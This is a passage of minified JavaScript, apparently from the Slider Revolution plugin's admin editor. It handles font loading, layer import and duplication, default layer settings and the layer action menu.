0!==t.subsets)for(var r in t.subsets)t.subsets.hasOwnProperty(r)&&(r>0?i+=",":i=":",i+=t.subsets[r],e.subsets.push(t.subsets[r]));return e.font+a+i}},RVS.F.do_google_font_load=function(e,t,i){if(t=void 0===t?{silent:!1}:t,null!==e&&e.length>0){var a=0;for(var r in e)e.hasOwnProperty(r)&&(r>0&&" ",e[r],a++);a=1===a?a+" Font":a+" Fonts",tpWebFont.load({google:{families:e},fontactive:m,loading:function(){!0!==t.silent&&RVS.F.showWaitAMinute({fadeIn:500,text:"Please Wait<br><span style='display:block;font-size:30px;line-height:35px'>Loading "+a+"</span>"})},active:function(){!0!==t.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500}),void 0!==i&&setTimeout(function(){RVS.DOC.trigger(i)},500)},50)},inactive:function(e){!0!==t.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500}),void 0!==i&&setTimeout(function(){RVS.DOC.trigger(i)},500)},50)}})}},RVS.F.importSelectedLayers=function(e){e=void 0===e?RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers:e;var t=!1;void 0!==window.copyPasteLayers&&void 0!==window.copyPasteLayers.layers&&(t=!0,window.backupCopyPaste=jQuery.extend(!0,{},window.copyPasteLayers.layers)),window.copyPasteLayers={amount:0,layers:{}};for(let t in RVS.LIB.OBJ.import.toImport)RVS.LIB.OBJ.import.toImport.hasOwnProperty(t)&&(window.copyPasteLayers.layers[e[RVS.LIB.OBJ.import.toImport[t]].uid]=jQuery.extend(!0,RVS.F.addLayerObj(e[RVS.LIB.OBJ.import.toImport[t]].type,void 0,!0),e[RVS.LIB.OBJ.import.toImport[t]]));for(var i in"grouplayers"===RVS.LIB.OBJ.depth&&(delete window.copyPasteLayers.layers.bottom,delete window.copyPasteLayers.layers.middle,delete window.copyPasteLayers.layers.top),window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(i))for(var a in window.copyPasteLayers.layers[i].actions.action)window.copyPasteLayers.layers[i].actions.action.hasOwnProperty(a)&&void 0!==window.copyPasteLayers.layers[i].actions.action[a]&&window.copyPasteLayers.layers[i].actions.action[a].layer_target&&(window.copyPasteLayers.layers[i].actions.action[a].beforemigration_layer_target=window.copyPasteLayers.layers[i].actions.action[a].layer_target);var r,s=[],o=[],n=[],l={},d=[];for(var S in window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(S)){var c=window.copyPasteLayers.layers[S].uid;s.push({type:window.copyPasteLayers.layers[c].type,copyPaste:"paste",duplicateId:c,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,prefix:RVS_LANG.imported}),o.push(c),"column"===window.copyPasteLayers.layers[c].type&&(r="row"===window.copyPasteLayers.layers[c].type?c:window.copyPasteLayers.layers[c].group.puid,-1===jQuery.inArray(r,d)&&d.push(r))}for(var i in RVS.F.openBackupGroup({id:"addLayer",txt:"Duplicate Layer(s)",icon:"layers",lastkey:"layer"}),s)if(s.hasOwnProperty(i)){var p=window.copyPasteLayers.layers[o[i]].group.puid;if(-1===p||-1==jQuery.inArray(parseInt(p,0),o)){let e=RVS.F.addLayer(s[i]);l[o[i]]=e,n.push(e)}}for(var i in d)d.hasOwnProperty(i)&&void 0!==RVS.L[d[i]]&&RVS.F.fixColumnsInRows({layerid:d[i]});for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&RVS.L[i].actions)for(var a in RVS.L[i].actions.action)RVS.L[i].actions.action.hasOwnProperty(a)&&void 0!==RVS.L[i].actions.action[a]&&RVS.L[i].actions.action[a].beforemigration_layer_target&&(RVS.L[i].actions.action[a].layer_target=l[RVS.L[i].actions.action[a].beforemigration_layer_target],delete RVS.L[i].actions.action[a].beforemigration_layer_target);for(var i in RVS.F.closeBackupGroup({id:"addLayer"}),RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.updateZIndexTable(),RVS.F.reOrderHTMLLayers(),n)n.hasOwnProperty(i)&&RVS.F.selectLayers({id:n[i],overwrite:!1,action:"add",ignoreUpdate:!0});RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.checkShowHideLayers(),RVS.F.checkLockedLayers(),t&&(window.copyPasteLayers.layers=jQuery.extend({},window.backupCopyPaste)),setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),"layers"===RVS.LIB.OBJ.depth&&(jQuery("#rb_modal_underlay").appendTo("#slider_settings"),RVS.F.RSDialog.close()),RVS.F.closeObjectLibrary(),RVS.F.checkUsedFonts()},RVS.F.getUniqueid=function(){for(;jQuery.inArray(RVS.S.uniqueId,RVS.S.uniqueIds)>=0;)RVS.S.uniqueId++;return RVS.S.uniqueId},RVS.F.addLayerObj=function(e,t,i,a,r){if(void 0===RVS.ENV.img_ph_url&&(RVS.ENV.video_ph_url=RVS.ENV.img_ph_url=RVS.ENV.plugin_url+"admin/assets/images/transparent_placeholder.png"),"object"==typeof e&&(e=(t=e).type),void 0!==t&&void 0!==t.uid&&jQuery.inArray(t.uid,["top","bottom","middle","zone"])>=0)return t;if(jQuery.inArray(e,["top","bottom","middle","zone"])>=0)return t;if("boxshadow"!==(t=void 0===t?{}:t).type&&"textshadow"!==t.type){var s={};switch(s.addOns=t.addOns||{},s.type=f(t.type,e),s.subtype=f(t.subtype,""),s.linebreak=f(t.linebreak,!1),s.text="text"===e||"button"===e?f(t.text,"New Layer"):"",s.placeholder="text"===e||"button"===e?f(t.placeholder,""):"",s.alias=RVS.F.firstCharUppercase(f(t.alias,"New Layer")),!0===r||i||(s.uid=f(t.uid,RVS.F.getUniqueid())),s.version=RVS.ENV.revision,s.htmltag=f(t.htmltag,"div"),s.customCSS=f(t.customCSS,""),s.customHoverCSS=f(t.customHoverCSS,""),s.type){case"text":case"button":case"image":s.media=f(t.media,{imageUrl:RVS.ENV.img_ph_url,imageId:"",imageFromStream:!1}),s.media.loaded=!1;break;case"audio":case"video":s.media=f(t.media,{mediaType:"audio"===s.type?"audio":i?"":"html5",audioUrl:"",audioTitle:"",posterUrl:RVS.ENV.video_ph_url,posterId:"",fitCover:!0,posterFromStream:!1,thumbs:{veryBig:{width:640,height:480,url:RVS.ENV.video_ph_url},big:{width:640,height:480,url:RVS.ENV.video_ph_url},large:{width:640,height:360,url:RVS.ENV.video_ph_url},medium:{width:320,height:240,url:RVS.ENV.video_ph_url},small:{width:200,height:150,url:RVS.ENV.video_ph_url}},nointeraction:!1,descSmall:"",description:"",link:"",mp4Url:"",ogvUrl:"",webmUrl:"",allowFullscreen:!0,args:"",author:"",autoPlay:"true",controls:!1,cover:!1,disableOnMobile:!1,dotted:"none",dottedSize:1,dottedColorA:"transparent",dottedColorB:"#000000",startAt:"00:00",endAt:"00:00",forceRewind:!0,fullWidth:!1,id:"",videoFromStream:!1,largeControls:!0,leaveOnPause:!0,mute:!0,nextSlideAtEnd:!0,preload:"auto",preloadAudio:"metadata",preloadWait:"0",ratio:"16:9",posterOnPause:!1,posterOnMobile:!1,stopAllVideo:!0,playInline:!0,hideAudio:!0,speed:1,loop:!0,pausetimer:!1,volume:"100"}),void 0!==s&&void 0!==s.media&&(s.media.dotted.indexOf("white")>0&&(s.media.dottedColorB="rgba(255,255,255,255)"),s.media.dotted.indexOf("twoxtwo")>=0?s.media.dotted="1":s.media.dotted.indexOf("threexthree")>=0&&(s.media.dotted="2")),void 0!==s.media&&"video"===s.media.type&&void 0===s.media.allowFullscreen&&!0!==i&&(s.media.allowFullscreen=!0),void 0!==s.media&&"streamyoutube"===s.media.mediaType&&(s.media.mediaType="youtube",s.media.videoFromStream=!0),void 0!==s.media&&"streamvimeo"===s.media.mediaType&&(s.media.mediaType="vimeo",s.media.videoFromStream=!0),s.media.mediaType=i||""!==s.media.mediaType&&void 0!==s.media.mediaType?i?"alwayswrite":s.media.mediaType:"html5",s.media.loop=!0===s.media.loop||void 0!==t&&void 0!==t.media&&("loopandnoslidestop"===t.media.loop||"loop"===t.media.loop||!0===t.media.loop||"true"===t.media.loop),s.media.pausetimer=void 0!==t&&void 0!==t.media&&(!0===t.media.pausetimer||!1!==t.media.pausetimer&&"loopandnoslidestop"!==t.media.loop),!0===s.media.loop&&!0===s.media.nextSlideAtEnd&&(s.media.loop=!1),i&&void 0!==s.media&&(s.media.loop=!0,s.media.pausetimer=0),i&&(s.media.loop=void 0);break;case"svg":case"object":s.svg=f(t.svg,{source:"",renderedData:""})}void 0!==s.media&&void 0!==s.media.lastLibrary&&(s.media.imageLib=s.media.lastLibrary,delete s.medialastLibrary),s.toggle=f(t.toggle,{set:!1,text:"",inverse:!1,useHover:!1});var o=!0===i||!0===a?"auto":"audio"===s.type?"54":"image"!==s.type&&"shape"!==s.type&&"video"!==s.type&&"group"!==s.type?"auto":"video"!==s.type?"300px":"320px",n=!0===i||!0===a?"auto":"audio"===s.type?"54":"image"!==s.type&&"shape"!==s.type&&"video"!==s.type&&"group"!==s.type?"auto":"180px",l=!0===i?"auto":"svg"===s.type||"image"===s.type||"video"===s.type,d=!0===i||!0===a?"auto":"image"!==s.type&&"shape"!==s.type&&"video"!==s.type&&"group"!==s.type?"none":"video"!==s.type?300/180:320/180;for(var S in s.size=f(t.size,{width:RVS.F.cToResp({default:o}),height:RVS.F.cToResp({default:n}),maxWidth:RVS.F.cToResp({default:"none"}),maxHeight:RVS.F.cToResp({default:"none"}),minWidth:RVS.F.cToResp({default:"none"}),minHeight:RVS.F.cToResp({default:"none"}),originalWidth:0,originalHeight:0,aspectRatio:RVS.F.cToResp({default:d}),covermode:"custom",scaleProportional:l}),void 0!==s.size.height.d&&null===s.size.height.d.v&&(s.size.height.d.v="auto"),"svg"===s.type&&(s.size.scaleProportional=!0),s.size.originalWidth=0===s.size.originalWidth||void 0===s.size.originalWidth?s.size.width.d.v:s.size.originalWidth,s.size.originalHeight=0===s.size.originalHeight||void 0===s.size.originalHeight?s.size.height.d.v:s.size.originalHeight,s.position=f(t.position,{x:i||a?RVS.F.cToResp({default:0,unit:"px"}):RVS.F.cToResp({default:50+RVS.S.rb_ScrollX,unit:"px"}),y:i||a?RVS.F.cToResp({default:0,unit:"px"}):RVS.F.cToResp({default:50+RVS.S.rb_ScrollY,unit:"px"}),horizontal:RVS.F.cToResp({default:"left"}),vertical:RVS.F.cToResp({default:"top"}),position:"absolute",staticZ:"default"}),void 0===s.position||i||(s.position.staticZ=void 0===s.position.staticZ?"default":s.position.staticZ),void 0!==t.position&&void 0!==t.position.zIndex?s.position.zIndex=t.position.zIndex:s.position.zIndex=function(){var e=5;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&parseInt(RVS.L[t].position.zIndex,0)>=e&&(e=parseInt(RVS.L[t].position.zIndex,0)+1);return e}(),i&&(s.position.zIndex="nA"),s.attributes=f(t.attributes,{alt:"",altOption:"media_library",id:"",classes:"",rel:"",tabIndex:0,title:"",wrapperClasses:"",wrapperId:""}),s.behavior=f(t.behavior,{autoResponsive:"row"!==s.type&&"column"!==s.type&&(!(!i&&!a)||RVS.SLIDER.settings.def.autoResponsive),intelligentInherit:"row"!==s.type&&"column"!==s.type&&(!(!i&&!a)||RVS.SLIDER.settings.def.intelligentInherit),responsiveChilds:!(!i&&!a)||RVS.SLIDER.settings.def.responsiveChilds,baseAlign:"grid",responsiveOffset:!(!i&&!a)||RVS.SLIDER.settings.def.responsiveOffset,lazyLoad:"auto",imageSourceType:"full",streamSourceType:"full"}),s.group=f(t.group,{puid:-1,groupOrder:i?99999:s.position.zIndex,columnbreakat:"tablet",columnSize:"1/3"}),"row"===s.type&&-1===s.group.puid&&(s.group.puid="top"),_opacity="group"!==s.type&&"column"!==s.type&&"row"!==s.type||i||a?0:1,s.timeline=f(t.timeline,{scrollBased:"default",forcePrepare:!1,scrollBasedOffset:0,filtersOnMask:!1,frameToIdle:"frame_1",frames:{frame_0:g({alias:RVS_LANG.enterstage,opacity:_opacity},"frame_0"),frame_1:g({alias:RVS_LANG.onstage,opacity:1,chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1}},"frame_1"),frame_999:g({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:i||a?"inherit":0},"frame_999")},clipPath:{use:!1,type:"rectangle",origin:"l"},static:{start:1,end:"last"},loop:h(),tloop:{use:!1,from:"",to:"",repeat:-1,keep:!0,children:!0}}),s.timeline.tloop=void 0===s.timeline.tloop?{use:!1,from:"",to:"",repeat:-1}:s.timeline.tloop,s.timeline.scrollBased=void 0===s.timeline.scrollBased?"default":s.timeline.scrollBased,s.timeline.scrollBasedOffset=void 0===s.timeline.scrollBasedOffset?0:s.timeline.scrollBasedOffset,s.timeline.frames.frame_0.alias=void 0===s.timeline.frames.frame_0.alias?RVS_LANG.enterstage:s.timeline.frames.frame_0.alias,s.timeline.frames.frame_1.alias=void 0===s.timeline.frames.frame_1.alias?RVS_LANG.onstage:s.timeline.frames.frame_1.alias,s.timeline.frames.frame_999.alias=void 0===s.timeline.frames.frame_999.alias?RVS_LANG.leavestage:s.timeline.frames.frame_999.alias,s.timeline.frames)s.timeline.frames.hasOwnProperty(S)&&(s.timeline.frames[S]=v(s.timeline.frames[S]),s.timeline.frames[S].timeline.start<0&&(s.timeline.frames[S].timeline.start=0),s.timeline.frames[S].timeline.startRelative<0&&(s.timeline.frames[S].timeline.startRelative=0));for(var S in s.effects=f(t.effects,{parallax:"-",pxmask:!1,attachToBg:!1,effect:"default"}),s.idle=f(t.idle,{style:"",color:RVS.F.cToResp({default:"#ffffff"}),margin:RVS.F.cToResp({default:[0,0,0,0]}),marginLock:!1,paddingLock:!1,borderWidthLock:!1,borderRadiusLock:!1,padding:RVS.F.cToResp({default:"column"===s.type?[10,10,10,10]:"row"===s.type?[10,10,10,10]:[0,0,0,0]}),autolinebreak:!0,float:RVS.F.cToResp({default:"none"}),clear:RVS.F.cToResp({default:"none"}),display:"block",fontFamily:"Roboto",fontStyle:!1,fontSize:RVS.F.cToResp({default:"20"}),fontWeight:RVS.F.cToResp({default:"400"}),letterSpacing:RVS.F.cToResp({default:"0"}),lineHeight:RVS.F.cToResp({default:"25"}),overflow:"visible",textAlign:RVS.F.cToResp({default:"left"}),verticalAlign:"top",cursor:"auto",backgroundColor:"shape"!==s.type||i||a?"transparent":"rgba(0,0,0,0.5)",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundSize:"cover",backgroundSizePerc:"100",backgroundSizePix:"100",backgroundImage:"",backgroundImageId:"",bgFromStream:!1,borderColor:"transparent",borderRadius:{v:[0,0,0,0],u:"%"},borderStyle:RVS.F.cToResp({default:"none"}),borderWidth:[0,0,0,0],rotationX:0,rotationY:0,rotationZ:0,opacity:1,textDecoration:"none",textTransform:"none",boxShadow:{inuse:!1,container:"content",hoffset:RVS.F.cToResp({default:0,val:0}),voffset:RVS.F.cToResp({default:0,val:0}),blur:RVS.F.cToResp({default:0,val:0}),spread:RVS.F.cToResp({default:0,val:0}),color:"rgba(0,0,0,0)"},textShadow:{inuse:!1,hoffset:RVS.F.cToResp({default:0,val:0}),voffset:RVS.F.cToResp({default:0,val:0}),blur:RVS.F.cToResp({default:0,val:0}),color:"rgba(0,0,0,0.25)"},textStroke:{inuse:!1,width:RVS.F.cToResp({default:0,val:1}),color:"rgba(0,0,0,0.25)"},filter:{blendMode:"normal",showInEditor:!0},spikeUse:!1,spikeLeft:"none",spikeLeftWidth:10,spikeRight:"none",spikeRightWidth:10,cornerLeft:"none",cornerRight:"none",selectable:"default",whiteSpace:RVS.F.cToResp({default:"row"===s.type||"column"===s.type?"normal":!0!==i&&1!=a?"full":"nowrap"}),svg:{originalColor:!1,color:RVS.F.cToResp({default:"#ffffff"}),strokeColor:"transparent",strokeDashArray:0,strokeDashOffset:0,strokeWidth:0}}),"object"!=typeof s.idle.borderStyle&&(s.idle.borderStyle=RVS.F.cToResp({default:s.idle.borderStyle})),void 0===s.idle.textStroke||"string"!=typeof s.idle.textStroke.width&&"number"!=typeof s.idle.textStroke.width||(s.idle.textStroke.width=RVS.F.cToResp({default:0,val:s.idle.textStroke.width})),s.idle.fontFamily=void 0===s.idle.fontFamily||""===s.idle.fontFamily||s.idle.fontFamily.toLowerCase()!==s.idle.fontFamily?RVS.F.compareGoogleFontName(s.idle.fontFamily,!0):RVS.F.compareGoogleFontName(s.idle.fontFamily),s.idle.fontFamily=void 0===s.idle.fontFamily?"Roboto":s.idle.fontFamily,s.idle.fontStyle="normal"!==s.idle.fontStyle&&!1!==s.idle.fontStyle,RVS.V.sizes)for(var c=0;c<4;c++)RVS.V.sizes.hasOwnProperty(S)&&(s.idle.margin[RVS.V.sizes[S]].v[c]=parseInt(s.idle.margin[RVS.V.sizes[S]].v[c],0)||0,s.idle.padding[RVS.V.sizes[S]].v[c]=parseInt(s.idle.padding[RVS.V.sizes[S]].v[c],0)||0);for(var S in s.hover=f(t.hover,{usehover:!1,usehovermask:!1,color:"#ffffff",opacity:1,backgroundColor:"transparent",gradientStyle:"fading",borderColor:"transparent",borderRadius:{v:[0,0,0,0],u:"%"},borderStyle:"none",borderWidth:[0,0,0,0],transformPerspective:RVS.SLIDER.settings.general.perspective,originX:"50%",originY:"50%",originZ:"50%",rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,textDecoration:"none",x:0,y:0,z:0,speed:300,ease:"power3.inOut",zIndex:"auto",pointerEvents:"auto",filter:{grayscale:0,brightness:100,blur:0},svg:{color:"#ffffff",strokeColor:"transparent",strokeDashArray:0,strokeDashOffset:0,strokeWidth:0}}),s.actions=f(t.actions,{triggerMemory:"reset",action:[]}),s.visibility=f(t.visibility,{visible:!0,locked:!1,d:!0,m:!0,n:!0,t:!0,hideunder:!1,onlyOnSlideHover:!1,publish:!0,alwaysOnCarousel:!1}),s.runtime=f(t.runtime,{internalClass:"",isDemo:!1,unavailable:!1}),!0!==r&&RVS.S.uniqueIds.push(s.uid),RVS.LIB.ADDONS)RVS.LIB.ADDONS.hasOwnProperty(S)&&(s.addOns[S]=void 0===s.addOns[S]?{enable:!1}:s.addOns[S]);if(void 0!==s.customCSS&&s.customCSS.length>0){s.customCSS=s.customCSS.replace(/\s\s+/g," ");var p=s.customCSS.split(";"),R="";for(var S in p)if(p.hasOwnProperty(S)){var u=p[S].split(":"),V=u[0].replace(/\s/g,"");if(""!==RVS.F.trim(V))switch(V){case"letter-spacing":s.idle.letterSpacing=RVS.F.cToResp({default:u[1]});break;case"text-align":s.idle.textAlign=RVS.F.cToResp({default:u[1]});break;case"text-shadow":-1===u[1].indexOf("none")&&(R+=p[S]);break;default:R+=p[S]+";"}}s.customCSS=R}return s}},RVS.F.simplifyLayer=function(e){return"zone"===e.type?jQuery.extend(!0,{},e):jQuery.extend(!0,{},RVS.F.simplifyObject(RVS.F.addLayerObj(e.type,void 0,!0),jQuery.extend(!0,{},e)))},RVS.F.simplifyAllLayer=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=RVS.F.simplifyLayer(e[i]),t[i].type=e[i].type);return t},RVS.F.expandAllLayer=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=jQuery.extend(!0,RVS.F.addLayerObj(e[i].type,void 0,!0),e[i]));return t},RVS.F.initAddonMigration=function(e){}}(),RVS.LIB.ACTION_WITH_TRGT=[],RVS.LIB.ACTIONTYPES={},function(){var e=["X","M","N"];function t(e){var t=-1;return-1!=jQuery.inArray(e.action,RVS.LIB.ACTION_WITH_TRGT)&&void 0!==e.layer_target&&(t=parseInt(e.layer_target.toString().replace("static-",""),0)),{slideid:void 0!==e&&void 0!==e.layer_target&&e.layer_target.toString().indexOf("static")>=0?RVS.SLIDER.staticSlideId:RVS.S.slideId,targetid:-1==t||isNaN(t)?-1:t}}function i(e){var t=RVS.L[RVS.selLayers[0]].actions.action.length,i=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);i.action.push({action:e,tooltip_event:"click",link_help_in:"keep",link_open_in:"_self",link_follow:"follow"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:i}),RVS.S.actionIdx=t,RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")}RVS.F.initLayerActions=function(){RVS.F.createActionGroup({icon:"link",id:"layeraction_group_link",actions:[{val:"menu",inputs:"#la_settings_link_menu, #la_settings_link,#la_settings_scroll_under"},{val:"link",inputs:"#la_settings_link_url,#la_settings_link,#la_settings_link_type"},{val:"callback",inputs:"#la_settings_callback"},{val:"scrollto",inputs:"#la_settings_scroll_to,#la_settings_scroll_under"},{val:"scroll_under",inputs:"#la_settings_scroll_under"}]}),RVS.F.createActionGroup({icon:"code",id:"layeraction_group_slide",actions:[{val:"jumpto",inputs:"#la_settings_jumpto"},{val:"next"},{val:"prev"},{val:"pause"},{val:"resume"},{val:"toggle_slider"},{val:"close_modal"},{val:"open_modal",inputs:"#la_settings_modal"}]}),RVS.F.createActionGroup({icon:"layers",id:"layeraction_group_layer",actions:[{val:"start_in",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_in, #la_settings_childrentimelines",layerTarget:!0},{val:"start_out",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_out, #la_settings_childrentimelines",layerTarget:!0},{val:"start_frame",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_frame, #la_settings_childrentimelines",layerTarget:!0},{val:"next_frame",inputs:"#la_settings_layer_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"prev_frame",inputs:"#la_settings_layer_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"toggle_layer",inputs:"#la_settings_layer_actions, #la_settings_layer_toggle_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"toggle_frames",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_frameXY,  #la_settings_childrentimelines",layerTarget:!0}]}),RVS.F.createActionGroup({icon:"videocam",id:"layeraction_group_media",actions:[{val:"start_video",layerTarget:!0,media:!0},{val:"stop_video",layerTarget:!0,media:!0},{val:"toggle_video",layerTarget:!0,media:!0},{val:"mute_video",layerTarget:!0,media:!0},{val:"unmute_video",layerTarget:!0,media:!0},{val:"toggle_mute_video",layerTarget:!0,media:!0},{val:"toggle_global_mute_video"}]}),RVS.F.createActionGroup({icon:"fullscreen",id:"layeraction_group_fullscreen",actions:[{val:"togglefullscreen"},{val:"gofullscreen"},{val:"exitfullscreen"}]}),RVS.F.createActionGroup({icon:"layers",id:"layeraction_group_layer",actions:[{val:"simulate_click",layerTarget:!0},{val:"toggle_class",inputs:"#la_settings_class",layerTarget:!0}]}),RVS.DOC.trigger("extendLayerActionGroups"),function(){RVS.DOC.on("openLayerActions",RVS.F.openLayerActions);RVS.DOC.on("updatePlayFrameXOnlyOnAction",RVS.F.updatePlayFrameXOnlyOnAction),RVS.DOC.on("click",".drop_dependencies",function(){jQuery("#layer_with_action_wrap").toggleClass("opendeps")}),RVS.DOC.on("click","#rbm_layer_action .rbm_close",function(){for(var e in jQuery("#rbm_layer_action").hasClass("inpickermode")?(jQuery("#rbm_layer_action").removeClass("inpickermode"),jQuery("#layeraction_list").hide(),jQuery("#layer_action_type").show()):(jQuery(".actionDependent").removeClass("actionDependent"),RVS.F.RSDialog.close()),RVS.L)RVS.L[e].actions&&RVS.L[e].actions.action.length>0?jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[e].uid).addClass("actionmarked"):jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[e].uid).removeClass("actionmarked");RVS.F.updateAllLayerFrames()}),RVS.DOC.on("click","#addactiontolayer",function(){return i("link"),!1}),RVS.DOC.on("click",".duplicate_single_layer_action",function(){var e=jQuery(this).closest(".single_layer_action"),t=RVS.L[RVS.selLayers[0]].actions.action.length,i=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);return i.action.push(RVS.L[RVS.selLayers[0]].actions.action[e.index()]),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:i}),RVS.S.actionIdx=t,setTimeout(function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()},50),!1}),RVS.DOC.on("click",".delete_single_layer_action",function(){var e=jQuery(this).closest(".single_layer_action"),t=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);return t.action.splice(e.index(),1),RVS.S.actionIdx=0,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:t}),setTimeout(function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")},50),!1}),RVS.DOC.on("click","#layer_action_type",function(){jQuery("#rbm_layer_action").addClass("inpickermode"),jQuery("#layeraction_list").show(),jQuery(this).hide(),jQuery("#layeraction_list .lal_group_member").removeClass("selected"),jQuery("#layeraction_picker_"+RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action).addClass("selected")}),RVS.DOC.on("click",".lal_group_member",function(){jQuery("#rbm_layer_action").removeClass("inpickermode"),jQuery("#layer_action_type").show(),void 0===RVS.S.actionIdx||void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]?(i(this.dataset.val),jQuery("#action_inputs .la_settings").hide(),jQuery(RVS.LIB.ACTIONTYPES[this.dataset.val].inputs).show(),jQuery("#layeraction_list").hide()):(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions.action."+RVS.S.actionIdx+".action",val:this.dataset.val}),jQuery("#action_inputs .la_settings").hide(),jQuery(RVS.LIB.ACTIONTYPES[this.dataset.val].inputs).show(),jQuery("#layeraction_list").hide(),RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()),RVS.DOC.trigger("layer_action_selected")}),RVS.DOC.on("click",".single_layer_action",function(e){RVS.S.actionIdx=jQuery(this).index(),jQuery(".single_layer_action").removeClass("selected"),jQuery(this).addClass("selected"),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")}),RVS.DOC.on("click",".lal_group_header",function(){var e=jQuery(this).closest(".lal_group");e.toggleClass("closed")}),RVS.DOC.on("refreshActionView",function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()}),RVS.DOC.on("refreshSlideLists",function(){RVS.F.refreshModalSlides()}),RVS.DOC.on("refreshLayerToggleState",function(){var e=RVS.S.actionTrgtLayerId.indexOf("static-")>=0,t=RVS.S.actionTrgtLayerId.replace("static-",""),i=e?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[t]:RVS.L[RVS.S.actionTrgtLayerId];"visible"==jQuery("#toggle_layer_type").val()?i.timeline.frames.frame_1.timeline.actionTriggered=!1:i.timeline.frames.frame_1.timeline.actionTriggered=!0,RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()})}()},RVS.F.openLayerActions=function(){RVS.selLayers.length>0?(RVS.S.actionIdx=void 0,jQuery("#no_action_selected").show(),jQuery("#action_inputs, .la_settings").hide(),RVS.F.initActionsOfLayers(),RVS.F.RSDialog.create({modalid:"rbm_layer_action",bgopacity:.5})):RVS.F.showInfo({content:RVS_LANG.noLayersSelected,type:"warning",showdelay:0,hidedelay:3,hideon:"",event:""})},RVS.F.selectLayerAction=function(){if(jQuery(".actionselected").removeClass("actionselected"),void 0===RVS.S.actionIdx||RVS.S.actionIdx<0||0==RVS.L[RVS.selLayers[0]].actions.action.length)return jQuery("#action_inputs, .la_settings").hide(),jQuery("#no_action_selected").show(),!1;if(jQuery("#action_inputs").show(),jQuery(".la_settings, #no_action_selected").hide(),void 0!==RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action]&&jQuery(RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action].inputs).show(),void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target&&(RVS.S.actionTrgtLayerId=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target||"none"),jQuery.inArray(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,["scroll_under","scrollto"])>=0&&(void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_easing&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_easing="power1.inOut"),void 